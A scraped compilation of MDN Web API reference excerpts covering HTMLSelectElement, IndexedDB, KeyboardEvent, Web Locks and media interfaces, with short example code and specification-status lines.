HTMLObjectElement.validationMessage - Web APIs
the validationmessage read-only property of the htmlobjectelement interface returns a domstring representing a localized message that describes the validation constraints that the control does not satisfy (if any).
... this is the empty string if the control is not a candidate for constraint validation (willvalidate is false), or it satisfies its constraints.
... specifications specification status comment html living standardthe definition of 'validationmessage' in that specification.
HTMLOptionsCollection - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/htmlcollection" target="_top"><rect x="1" y="1" width="140" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="71" y="30" font-size="12px" font-family="consolas,monaco,andale mono,mo...
...you can either remove options from the end by lowering the value, or add blank options at the end by raising the value.
... specifications specification status comment html living standardthe definition of 'htmloptionscollection' in that specification.
HTMLSelectElement.checkValidity() - Web APIs
if the element fails its constraints, the browser fires a cancelable invalid event at the element, and then returns false.
... syntax var result = selectelt.checkvalidity(); specifications specification status comment html living standardthe definition of 'htmlselectelement.checkvalidity()' in that specification.
... html5the definition of 'htmlselectelement.checkvalidity()' in that specification.
HTMLSelectElement.disabled - Web APIs
the htmlselectelement.disabled is a boolean that reflects the disabled html attribute, which indicates whether the control is disabled.
...ption> <option value="4">whisky</option> </select> javascript var allowdrinkscheckbox = document.getelementbyid("allow-drinks"); var drinkselect = document.getelementbyid("drink-select"); allowdrinkscheckbox.addeventlistener("change", function(event) { if (event.target.checked) { drinkselect.disabled = false; } else { drinkselect.disabled = true; } }, false); result specifications specification status comment html living standardthe definition of 'disabled' in that specification.
... living standard html5the definition of 'htmlselectelement' in that specification.
HTMLSelectElement.form - Web APIs
syntax edit aform = aselectelement.form.selectname; example html <form action="http://www.google.com/search" method="get"> <label>google: <input type="search" name="q"></label> <input type="submit" value="search..."> </form> javascript a property available on all form elements, "type" returns the type of the calling form element.
...the below code gives all select elements in a particular form a css class of "selectclass": <script type="text/javascript"> var form_element = document.getelementbyid('subscribe_form'); var vist = form_element.style; if (vist.display=='' || vist.display=='none') { vist.display = 'block'; } else { vist.display = 'none'; } </script> specifications specification status comment html living standardthe definition of 'form' in that specification.
... living standard html5the definition of 'htmlselectelement' in that specification.
HTMLSelectElement.selectedIndex - Web APIs
the value -1 indicates that no element is selected.
...c</option> <option>option d</option> <option>option e</option> </select> javascript var selectelem = document.getelementbyid('select') var pelem = document.getelementbyid('p') // when a new <option> is selected selectelem.addeventlistener('change', function() { var index = selectelem.selectedindex; // add that data to the <p> pelem.innerhtml = 'selectedindex: ' + index; }) specifications specification status comment html living standardthe definition of 'htmlselectelement' in that specification.
... html5the definition of 'htmlselectelement' in that specification.
HTMLSelectElement.setCustomValidity() - Web APIs
use the empty string to indicate that the element does not have a custom validity error.
... specifications specification status comment html living standardthe definition of 'htmlselectelement.setcustomvalidity()' in that specification.
... html5the definition of 'htmlselectelement.setcustomvalidity()' in that specification.
HTMLTableElement.rows - Web APIs
although the property itself is read-only, the returned object is live and allows the modification of its content.
... example myrows = mytable.rows; firstrow = mytable.rows[0]; lastrow = mytable.rows.item(mytable.rows.length-1); this demonstrates how you can use both array syntax (line 2) and the htmlcollection.item() method (line 3) to obtain individual rows in the table.
... specifications specification status comment html living standardthe definition of 'htmltableelement: rows' in that specification.
HTMLTemplateElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1=...
... specifications specification status comment html living standardthe definition of 'htmltemplateelement interface' in that specification.
... living standard html5the definition of 'htmltemplateelement interface' in that specification.
HTMLTrackElement.src - Web APIs
the htmltrackelement.src property reflects the value of the <track> element's src attribute, which indicates the url of the text track's data.
... example // coming soon specifications specification status comment html living standardthe definition of 'htmltrackelement.src' in that specification.
... living standard no change from html5 html5the definition of 'htmltrackelement.src' in that specification.
HTMLUnknownElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline ...
... specifications specification status comment html living standardthe definition of 'htmlunknownelement' in that specification.
... html5the definition of 'htmlunknownelement' in that specification.
HTMLVideoElement.getVideoPlaybackQuality() - Web APIs
the data returned can be used to evaluate the quality of the video stream.
... example this example updates an element to indicate the total number of video frames that have elapsed so far in the playback process.
... this value includes any dropped or corrupted frames, so it's not the same as "total number of frames played." var videoelem = document.getelementbyid("my_vid"); var counterelem = document.getelementbyid("counter"); var quality = videoelem.getvideoplaybackquality(); counterelem.innertext = quality.totalvideoframes; specifications specification status comment media playback qualitythe definition of 'htmlvideoelement.getvideoplaybackquality()' in that specification.
Headers.get() - Web APIs
WebAPIHeadersget
for security reasons, some headers can only be controlled by the user agent.
...the name is case-insensitive.
... specifications specification status comment fetchthe definition of 'get()' in that specification.
History.state - Web APIs
WebAPIHistorystate
// should be null because we haven't modified the history stack yet console.log(`history.state before pushstate: ${history.state}`); // now push something on the stack history.pushstate({name: 'example'}, "pushstate example", 'page3.html'); // now state has a value.
... console.log(`history.state after pushstate: ${history.state}`); specificationse specification status comment html living standardthe definition of 'history.state' in that specification.
... living standard html5the definition of 'history.state' in that specification.
HmacImportParams - Web APIs
the can take a value of sha-256, sha-384, or sha-512.
... warning: although you can technically pass sha-1 here, this is strongly discouraged as it is considered vulnerable.
... specifications specification status comment web cryptography apithe definition of 'subtlecrypto.hmacimportparams' in that specification.
IDBCursor.advance() - Web APIs
WebAPIIDBCursoradvance
note that in each iteration of the loop, you can grab data from the current record under the cursor object using cursor.value.foo.
...tore.opencursor().onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = '<strong>' + cursor.value.albumtitle + '</strong>, ' + cursor.value.year; list.appendchild(listitem); cursor.advance(2); } else { console.log('every other entry displayed.'); } }; }; specifications specification status comment indexed database api 2.0the definition of 'advance()' in that specification.
... recommendation indexed database api draftthe definition of 'advance()' in that specification.
IDBDatabase.close() - Web APIs
WebAPIIDBDatabaseclose
no new transactions can be created for this connection once this method is called.
... db.close(); }; specification specification status comment indexed database api 2.0the definition of 'close()' in that specification.
... recommendation indexed database api draftthe definition of 'close()' in that specification.
IDBDatabase.name - Web APIs
WebAPIIDBDatabasename
for a full example, see our to-do notifications app (view example live).
...this is used a lot below db = dbopenrequest.result; // this line will log the name of the database, which should be "todolist" console.log(db.name); }; specifications specification status comment indexed database api 2.0the definition of 'name' in that specification.
... recommendation indexed database api draftthe definition of 'name' in that specification.
IDBDatabase.onabort - Web APIs
}; example this example shows an idbopendbrequest.onupgradeneeded block that creates a new object store; it also includes onerror and onabort functions to handle non-success cases.
...alse }); objectstore.createindex("minutes", "minutes", { unique: false }); objectstore.createindex("day", "day", { unique: false }); objectstore.createindex("month", "month", { unique: false }); objectstore.createindex("year", "year", { unique: false }); objectstore.createindex("notified", "notified", { unique: false }); note.innerhtml += '<li>object store created.</li>'; }; specifications specification status comment indexed database api 2.0the definition of 'onabort' in that specification.
... recommendation indexed database api draftthe definition of 'onabort' in that specification.
IDBDatabase.onclose - Web APIs
this can happen, for example, when the application is shut down or access to the disk the database is stored on is lost while the database is open.
...}; value a function which is called when the close event is fired.
... example db.onclose = function(event) { myappshowalert('the database "' + db.name + '" has unexpectedly closed.'); }; specifications specification status comment indexed database api draftthe definition of 'onclose' in that specification.
IDBDatabase.onerror - Web APIs
} example this example shows an idbopendbrequest.onupgradeneeded block that creates a new object store; it also includes onerror and onabort functions to handle non-success cases.
...alse }); objectstore.createindex("minutes", "minutes", { unique: false }); objectstore.createindex("day", "day", { unique: false }); objectstore.createindex("month", "month", { unique: false }); objectstore.createindex("year", "year", { unique: false }); objectstore.createindex("notified", "notified", { unique: false }); note.innerhtml += '<li>object store created.</li>'; }; specifications specification status comment indexed database api 2.0the definition of 'onerror' in that specification.
... recommendation indexed database api draftthe definition of 'onerror' in that specification.
IDBDatabase.onversionchange - Web APIs
} example this example shows an idbopendbrequest.onupgradeneeded block that creates a new object store; it also includes onerror and onabort functions to handle non-success cases, and an onversionchange function to notify when a database structure change has occurred.
...ear", { unique: false }); objectstore.createindex("notified", "notified", { unique: false }); note.innerhtml += '<li>object store created.</li>'; db.onversionchange = function(event) { note.innerhtml += '<li>a database change has occurred; you should refresh this browser window, or close it down and use the other open version of this application, wherever it exists.</li>'; }; }; specifications specification status comment indexed database api 2.0the definition of 'onversionchange' in that specification.
... recommendation indexed database api draftthe definition of 'onversionchange' in that specification.
IDBEnvironmentSync - Web APIs
important: the synchronous version of the indexeddb api was originally intended for use only with web workers, and was eventually removed from the spec because its need was questionable.
... attributes attribute type description indexeddbsync readonly idbfactorysync provides a synchronous means of accessing the capabilities of indexed databases.
... note: until the indexed database api specification is finalized, this attribute should be accessed as moz_indexeddbsync.
IDBIndex.count() - Web APIs
WebAPIIDBIndexcount
myindex.count() is then used to count the number of records in the index, and the result of that request is logged to the console when its success callback returns.
... + '<td>' + cursor.value.company + '</td>' + '<td>' + cursor.value.email + '</td>' + '<td>' + cursor.value.phone + '</td>' + '<td>' + cursor.value.age + '</td>'; tableentry.appendchild(tablerow); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specification specification status comment indexed database api 2.0the definition of 'count()' in that specification.
... recommendation indexed database api draftthe definition of 'count()' in that specification.
IDBIndex.getKey() - Web APIs
WebAPIIDBIndexgetKey
myindex.getkey('bungle') is then used to retrieve the primary key of the record with an lname of bungle, and the result of that request is logged to the console when its success callback returns.
... + '<td>' + cursor.value.company + '</td>' + '<td>' + cursor.value.email + '</td>' + '<td>' + cursor.value.phone + '</td>' + '<td>' + cursor.value.age + '</td>'; tableentry.appendchild(tablerow); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specification specification status comment indexed database api 2.0the definition of 'getkey()' in that specification.
... recommendation indexed database api draftthe definition of 'getkey()' in that specification.
IDBIndex.keyPath - Web APIs
WebAPIIDBIndexkeyPath
syntax var mykeypath = myindex.keypath; value any data type that can be used as a key path.
... + '<td>' + cursor.value.company + '</td>' + '<td>' + cursor.value.email + '</td>' + '<td>' + cursor.value.phone + '</td>' + '<td>' + cursor.value.age + '</td>'; tableentry.appendchild(tablerow); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specification specification status comment indexed database api 2.0the definition of 'keypath' in that specification.
... recommendation indexed database api draftthe definition of 'keypath' in that specification.
IDBKeyRange.lower - Web APIs
WebAPIIDBKeyRangelower
syntax var lower = mykeyrange.lower value the lower bound of the key range (can be any type.) example the following example illustrates how you'd use a key range.
....onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = '<strong>' + cursor.value.fthing + '</strong>, ' + cursor.value.frating; list.appendchild(listitem); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specification specification status comment indexed database api 2.0the definition of 'lower' in that specification.
... recommendation indexed database api draftthe definition of 'lower' in that specification.
IDBKeyRange.lowerBound() - Web APIs
open optional indicates whether the lower bound excludes the endpoint value.
....onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = '<strong>' + cursor.value.fthing + '</strong>, ' + cursor.value.frating; list.appendchild(listitem); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specification specification status comment indexed database api 2.0the definition of 'lowerbound()' in that specification.
... recommendation indexed database api draftthe definition of 'lowerbound()' in that specification.
IDBKeyRange.upper - Web APIs
WebAPIIDBKeyRangeupper
syntax var upper = mykeyrange.upper value the upper bound of the key range (can be any type.) example the following example illustrates how you'd use a key range.
....onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = '<strong>' + cursor.value.fthing + '</strong>, ' + cursor.value.frating; list.appendchild(listitem); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specification specification status comment indexed database api 2.0the definition of 'upper' in that specification.
... recommendation indexed database api draftthe definition of 'upper' in that specification.
IDBKeyRange.upperBound() - Web APIs
open indicates whether the upper bound excludes the endpoint value.
....onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = '<strong>' + cursor.value.fthing + '</strong>, ' + cursor.value.frating; list.appendchild(listitem); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specification specification status comment indexed database api 2.0the definition of 'upperbound()' in that specification.
... recommendation indexed database api draftthe definition of 'upperbound()' in that specification.
IDBMutableFile - Web APIs
note: this interface used to be called filehandle , but it was changed to this (bug 1006485.) as idbmutablefile objects are bound to a fake file system built on top of indexeddb, such an object is created using the idbdatabase.createmutablefile method.
...in case of success, the request's result is a file object representing a snapshot of the handled file.
... specifications not part of any specification at present.
IDBObjectStore.clear() - Web APIs
for a full working example, see our to-do notifications app (view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
... + '</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); // make a request to clear all the data out of the object store var objectstorerequest = objectstore.clear(); objectstorerequest.onsuccess = function(event) { // report the success of our request note.innerhtml += '<li>request successful.</li>'; }; }; specification specification status comment indexed database api 2.0the definition of 'clear()' in that specification.
... recommendation indexed database api draftthe definition of 'clear()' in that specification.
IDBObjectStore.openKeyCursor() - Web APIs
the openkeycursor() method of the idbobjectstore interface returns an idbrequest object whose result will be set to an idbcursor that can be used to iterate through matching results.
...equest = objectstore.openkeycursor(); request.onsuccess = function(event) { var cursor = event.target.result; if(cursor) { // cursor.key contains the key of the current record being iterated through // note that there is no cursor.value, unlike for opencursor // this is where you'd do something with the result cursor.continue(); } else { // no more results } }; specifications specification status comment indexed database api 2.0the definition of 'openkeycursor()' in that specification.
... recommendation indexed database api draftthe definition of 'openkeycursor()' in that specification.
IDBOpenDBRequest: blocked event - Web APIs
bubbles no cancelable no interface idbversionchangeevent event handler property onblocked examples using addeventlistener(): // open the database const dbopenrequest = window.indexeddb.open('todolist', 4); dbopenrequest.onupgradeneeded = (event) => { const db = event.target.result; db.onerror = () => { console.log('error creating database'); }; // create an objectstore for this database var objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data items the objectstore will contain objectstore.createindex('hours', 'hours', { unique: false }); ob...
...nutes', 'minutes', { unique: false }); objectstore.createindex('day', 'day', { unique: false }); objectstore.createindex('month', 'month', { unique: false }); objectstore.createindex('year', 'year', { unique: false }); }; dbopenrequest.onsuccess = (event) => { // let's try to open the same database with a higher revision version const req2 = indexeddb.open('todolist', 5); // in this case the onblocked handler will be executed req2.addeventlistener('blocked', () => { console.log('request was blocked'); }); }; using the onblocked property: // open the database const dbopenrequest = window.indexeddb.open('todolist', 4); dbopenrequest.onupgradeneeded = (event) => { const db = event.target.result; db.onerror = () => { console.log('error creating database'); };...
...nutes', 'minutes', { unique: false }); objectstore.createindex('day', 'day', { unique: false }); objectstore.createindex('month', 'month', { unique: false }); objectstore.createindex('year', 'year', { unique: false }); }; dbopenrequest.onsuccess = (event) => { // let's try to open the same database with a higher revision version const req2 = indexeddb.open('todolist', 5); // in this case the onblocked handler will be executed req2.onblocked = () => { console.log('request was blocked'); }; }; ...
IDBOpenDBRequest.onblocked - Web APIs
this event is triggered when the upgradeneeded should be triggered because of a version change but the database is still in use (that is, not closed) somewhere, even after the versionchange event was sent.
...}; request.onblocked = function() { console.log("your database version can't be upgraded because the app is open somewhere else."); } specifications specification status comment indexed database api 2.0the definition of 'onblocked' in that specification.
... recommendation indexed database api draftthe definition of 'onblocked' in that specification.
IDBRequest.onerror - Web APIs
for a full working example, see our to-do notifications app (view example live.) var title = "walk dog"; // open up a transaction as usual var objectstore = db.transaction(['todolist'], "readwrite").objectstore('todolist'); // get the to-do list object that has this title as it's title var objectstoretitlerequest = objectstore.get(title); objectstoretitlerequest.onsuccess = function() { // grab the data object returned as the result var d...
...}; specifications specification status comment indexed database api 2.0the definition of 'onerror' in that specification.
... recommendation indexed database api draftthe definition of 'onerror' in that specification.
IDBRequest.onsuccess - Web APIs
for a full working example, see our to-do notifications app (view example live.) var title = "walk dog"; // open up a transaction as usual var objectstore = db.transaction(['todolist'], "readwrite").objectstore('todolist'); // get the to-do list object that has this title as it's title var objectstoretitlerequest = objectstore.get(title); objectstoretitlerequest.onsuccess = function() { // grab the data object returned as the result var d...
...result; // update the notified value in the object to "yes" data.notified = "yes"; // create another request that inserts the item back // into the database var updatetitlerequest = objectstore.put(data); // when this new request succeeds, run the displaydata() // function again to update the display updatetitlerequest.onsuccess = function() { displaydata(); }; }; specifications specification status comment indexed database api 2.0the definition of 'onsuccess' in that specification.
... recommendation indexed database api draftthe definition of 'onsuccess' in that specification.
IDBRequest.readyState - Web APIs
for a full working example, see our to-do notifications app (view example live.) var title = "walk dog"; // open up a transaction as usual var objectstore = db.transaction(['todolist'], "readwrite").objectstore('todolist'); // get the to-do list object that has this title as it's title var objectstoretitlerequest = objectstore.get(title); objectstoretitlerequest.onsuccess = function() { // grab the data object returned as the result var d...
...inserts the item // back into the database var updatetitlerequest = objectstore.put(data); // log the source of this request console.log("the readystate of this request is " + updatetitlerequest.readystate); // when this new request succeeds, run the displaydata() // function again to update the display updatetitlerequest.onsuccess = function() { displaydata(); }; }; specifications specification status comment indexed database api 2.0the definition of 'readystate' in that specification.
... recommendation indexed database api draftthe definition of 'readystate' in that specification.
IDBRequest.result - Web APIs
WebAPIIDBRequestresult
for a full working example, see our to-do notifications app (view example live.) var title = "walk dog"; // open up a transaction as usual var objectstore = db.transaction(['todolist'], "readwrite").objectstore('todolist'); // get the to-do list object that has this title as it's title var objectstoretitlerequest = objectstore.get(title); objectstoretitlerequest.onsuccess = function() { // grab the data object returned as the result var d...
...result; // update the notified value in the object to "yes" data.notified = "yes"; // create another request that inserts the item // back into the database var updatetitlerequest = objectstore.put(data); // when this new request succeeds, run the displaydata() // function again to update the display updatetitlerequest.onsuccess = function() { displaydata(); }; }; specifications specification status comment indexed database api 2.0the definition of 'result' in that specification.
... recommendation indexed database api draftthe definition of 'result' in that specification.
ImageBitmap.close() - Web APIs
WebAPIImageBitmapclose
the imagebitmap.close() method disposes of all graphical resources associated with an imagebitmap.
... syntax void imagebitmap.close() examples var offscreen = new offscreencanvas(256, 256); var gl = offscreen.getcontext('webgl'); // ...
... var bitmap = offscreen.transfertoimagebitmap(); // imagebitmap { width: 256, height: 256 } bitmap.close(); // imagebitmap { width: 0, height: 0 } -- disposed specifications specification status comment html living standardthe definition of 'close()' in that specification.
IntersectionObserverEntry.time - Web APIs
the intersectionobserverentry interface's read-only time property is a domhighrestimestamp that indicates the time at which the intersection change occurred relative to the time at which the document was created.
... syntax var time = intersectionobserverentry.time; value a domhighrestimestamp which indicates the time at which the target element experienced the intersection change described by the intersectionobserverentry.
... specifications specification status comment intersection observerthe definition of 'intersectionobserverentry.time' in that specification.
IntersectionObserverEntry - Web APIs
instances of intersectionobserverentry are delivered to an intersectionobserver callback in its entries parameter; otherwise, these objects can only be obtained by calling intersectionobserver.takerecords().
... intersectionobserverentry.time read only a domhighrestimestamp indicating the time at which the intersection was recorded, relative to the intersectionobserver's time origin.
... specifications specification status comment intersection observerthe definition of 'intersectionobserverentry' in that specification.
Keyboard.getLayoutMap() - Web APIs
the getlayoutmap() method of the keyboard interface returns a promise that resolves with an instance of keyboardlayoutmap which is a map-like object with functions for retrieving the strings associated with specific physical keys.
... example the following example demonstrates how to get the location- or layout-specific string associated with the key that corresponds to the 'w' key on an english qwerty keyboard.
... var keyboard = navigator.keyboard; keyboard.getlayoutmap() .then(keyboardlayoutmap => { var upkey = keyboardlayoutmap.get('keyw'); window.alert('press ' + upkey + ' to move up.'); }) specifications specification status comment keyboard mapthe definition of 'getlayoutmap()' in that specification.
Keyboard.unlock() - Web APIs
WebAPIKeyboardunlock
the unlock() method of the keyboard interface unlocks all keys captured by the keyboard.lock() method and returns synchronously.
... return value undefined specifications specification status comment keyboard mapthe definition of 'keyboard' in that specification.
... keyboard lockthe definition of 'unlock()' in that specification.
KeyboardEvent.altKey - Web APIs
the keyboardevent.altkey read-only property is a boolean that indicates if the alt key (option or ⌥ on os x) was pressed (true) or not (false) when the event occured.
...s <html> <head> <title>altkey example</title> <script type="text/javascript"> function showchar(e){ alert( "key keydown: " + string.fromcharcode(e.charcode) + "\n" + "charcode: " + e.charcode + "\n" + "alt key keydown: " + e.altkey + "\n" ); } </script> </head> <body onkeydown="showchar(event);"> <p> press any character key, with or without holding down the alt key.<br /> you can also use the shift key together with the alt key.
... </p> </body> </html> specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'keyboardevent.altkey' in that specification.
KeyboardEvent.isComposing - Web APIs
the keyboardevent.iscomposing read-only property returns a boolean value indicating if the event is fired within a composition session, i.e.
... syntax var bool = event.iscomposing; example var kbdevent = new keyboardevent("synthetickey", false); console.log(kbdevent.iscomposing); // return false specifications specification status comment ui eventsthe definition of 'keyboardevent.prototype.iscomposing' in that specification.
... working draft document object model (dom) level 3 events specificationthe definition of 'keyboardevent.prototype.iscomposing' in that specification.
KeyboardLayoutMap.has() - Web APIs
the has() method of the keyboardlayoutmap interface returns a boolean indicating whether the object has an element with the specified key.
... return value a boolean indicating whether the specifed key was found.
... example specification status comment keyboard mapthe definition of 'has()' in that specification.
KeyframeEffect.getKeyframes() - Web APIs
this will be null if the keyframe is automatically spaced using keyframeeffect.spacing.
... computedoffset the computed offset for this keyframe, calculated when the list of computed keyframes was produced according to keyframeeffect.spacing.
... examples in the red queen race example, we can inspect alice and the redqueen's animation to see its individual keyframes like so: // return the array of keyframes redqueen_alice.effect.getkeyframes(); specifications specification status comment web animationsthe definition of 'keyframeeffect.getkeyframes()' in that specification.
LinkStyle - Web APIs
WebAPILinkStyle
linkstyle is a raw interface and no object of this type can be created; it is implemented by htmllinkelement and htmlstyleelement objects.
... specifications specification status comment css object model (cssom)the definition of 'linkstyle' in that specification.
... working draft linkstyle.sheet returns more specialized cssstylesheet instead of stylesheet document object model (dom) level 2 style specificationthe definition of 'linkstyle' in that specification.
Locks.name - Web APIs
WebAPILockname
for example, if only one tab of a web application should be synchronizing network resources with an offline database, it could use a lock name such as "net_db_sync".
... example the following examples show how the name property passed in the call to lockmanager.request().
... navigator.locks.request("net_db_sync", show_lock_properties); function show_lock_properties(lock) { console.log(`the lock name is: ${lock.name}`); console.log(`the lock mode is: ${lock.mode}`); } specifications specification status comment web locks apithe definition of 'name' in that specification.
Lock - Web APIs
WebAPILock
the lock interface of the the web locks api provides the name and mode of a previously requested lock, which is received in the callback to lockmanager.request().
... examples the following examples show how the mode and name properties are passed in the call to lockmanager.request().
... navigator.locks.request("net_db_sync", show_lock_properties); navigator.locks.request("another_lock", {mode: "shared"}, show_lock_properties); function show_lock_properties(lock) { console.log(`the lock name is: ${lock.name}`); console.log(`the lock mode is: ${lock.mode}`); } specifications specification status comment web locks apithe definition of 'lock' in that specification.
LockedFile.abort() - Web APIs
WebAPILockedFileabort
summary the abort method is used to release the lock on the lockedfile object, making it inactive: its active property is set to false and all ongoing operations are canceled.
... note: when an ongoing operation is canceled, there is no rollback (it is not a database transaction), therefore the file can be corrupted if the canceled operation was performing some writing.
... specifications specification status comment filesystem api editor's draft draft proposal ...
LockedFile.append() - Web APIs
WebAPILockedFileappend
the write operation is performed at the end of the file, regardless of the lockedfile.location value, and actually sets this value to null.
...it can be a string or an arraybuffer.
... specifications specification status comment filesystem api editor's draft draft proposal ...
LockedFile.readAsArrayBuffer() - Web APIs
the reading operation starts at the position given by the lockedfile.location property.
...in case of success, the request's result is an arraybuffer representing the data that have been read.
... specifications specification status comment filesystem api editor's draft draft proposal ...
LockedFile.write() - Web APIs
WebAPILockedFilewrite
the write starts at the position set in lockedfile.location and moves that position by the number of written bytes.
...it can be a string or an arraybuffer.
... specifications specification status comment filesystem api editor's draft draft proposal ...
MIDIAccess - Web APIs
midiaccess.sysexenabled read only a boolean attribute indicating whether system exclusive support is enabled on the current midiaccess instance.
... event handlers midiaccess.onstatechange called whenever a new midi port is added or an existing port changes state.
... navigator.requestmidiaccess() .then(function(access) { // get lists of available midi controllers const inputs = access.inputs.values(); const outputs = access.outputs.values(); access.onstatechange = function(e) { // print information about the (dis)connected midi controller console.log(e.port.name, e.port.manufacturer, e.port.state); }; }); specifications specification status comment web midi api working draft initial definition.
MSManipulationEvent - Web APIs
methods msmanipulationevent.initmsmanipulationevent(): used to create a manipulation event that can be called from javascript.
... inertiadestinationyread only represents the predicted vertical scroll offset after the inertia phase completes.
... example interface msmanipulationevent extends uievent { readonly currentstate: number; readonly inertiadestinationx: number; readonly inertiadestinationy: number; readonly laststate: number; initmsmanipulationevent(typearg: string, canbubblearg: boolean, cancelablearg: boolean, viewarg: window, detailarg: number, laststate: number, currentstate: number): void; readonly ms_manipulation_state_active: number; readonly ms_manipulation_state_cancelled: number; readonly ms_manipulation_state_committed: number; readonly ms_manipulation_state_dragging: number; readonly ms_manipulation_state_inertia: number; readonly ms_manipulation_state_preselect: number; ...
MediaDecodingConfiguration - Web APIs
the mediadecodingconfiguration dictionary of the media capabilities api is used to define the type of media being tested when calling mediacapabilities.decodinginfo() to query whether a specific media configuration is supported, smooth, and/or power efficient.
... } }; // check support and performance navigator.mediacapabilities.decodinginfo(mediaconfig).then(result => { console.log('this configuration is ' + (result.supported ?
... '' : 'not ') + 'supported.') }); specifications specification status comment media capabilitiesthe definition of 'mediadecodingconfiguration' in that specification.
MediaDevices: devicechange event - Web APIs
a devicechange event is sent to a mediadevices instance whenever a media device such as a camera, microphone, or speaker is connected to or removed from the system.
... bubbles no cancelable no interface event event handler ondevicechange example you can use the devicechange event in an addeventlistener method: navigator.mediadevices.addeventlistener('devicechange', function(event) { updatedevicelist(); }); or use the ondevicechange event handler property: navigator.mediadevices.ondevicechange = function(event) { updatedevicelist(); } specifications specification status media capture and streamsthe definition of 'devicechange' in that specification.
... candidate recommendation ...
MediaDevices.getSupportedConstraints() - Web APIs
because only constraints supported by the user agent are included in the list, each of these boolean properties has the value true.
...aintlist = document.getelementbyid("constraintlist"); let supportedconstraints = navigator.mediadevices.getsupportedconstraints(); for (let constraint in supportedconstraints) { if (supportedconstraints.hasownproperty(constraint)) { let elem = document.createelement("li"); elem.innerhtml = "<code>" + constraint + "</code>"; constraintlist.appendchild(elem); } } result specifications specification status comment media capture and streamsthe definition of 'getsupportedconstraints()' in that specification.
... candidate recommendation initial definition.
MediaEncodingConfiguration - Web APIs
the mediaencodingconfiguration dictionary of the media capabilities api is used to define the type of media being tested when calling mediacapabilities.encodinginfo() to query whether a specific media configuration is supported, smooth, and/or power efficient.
... } }; // check support and performance navigator.mediacapabilities.encodinginfo(mediaconfig).then(result => { console.log('this configuration is ' + (result.supported ?
... '' : 'not ') + 'supported.') }); specifications specification status comment media capabilitiesthe definition of 'mediaencodingconfiguration' in that specification.
MediaKeyMessageEvent - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">event<...
... mediakeymessageevent.messagetype read only indicates the type of message.
... examples // tbd specifications specification status comment encrypted media extensionsthe definition of 'mediakeymessageevent' in that specification.
MediaKeyStatusMap - Web APIs
mediakeystatusmap.foreach(callback[, argument]) read only calls callback once for each key-value pair in the status map, in insertion order.
... if argument is present it will be passed to the callback.
... specifications specification status comment encrypted media extensionsthe definition of 'mediakeystatusmap' in that specification.
MediaKeys - Web APIs
WebAPIMediaKeys
the mediakeys interface of encryptedmediaextensions api represents a set of keys that an associated htmlmediaelement can use for decryption of media data during playback.
... mediakeys.setservercertificate() returns a promise to a server certificate to be used to encrypt messages to the license server.
... examples //tbd specifications specification status comment encrypted media extensionsthe definition of 'mediakeys' in that specification.
MediaQueryList.matches - Web APIs
you can be notified when the value of matches changes by watching for the change event to be fired at the mediaquerylist.
... examples this example detects viewport orientation changes by creating a media query using the orientation media feature: function addmqlistener(mq, callback) { if (mq.addeventlistener) { mq.addeventlistener("change", callback); } else { mq.addlistener(callback); } } addmqlistener(window.matchmedia("(orientation:landscape)"), event => { if (event.matches) { /* now in landscape orientation */ } else { /* now in portrait orientation */ } } ); specifications specification status comment css object model (cssom) view modulethe definition of 'matches' in that...
... specification.
MediaRecorder: error event - Web APIs
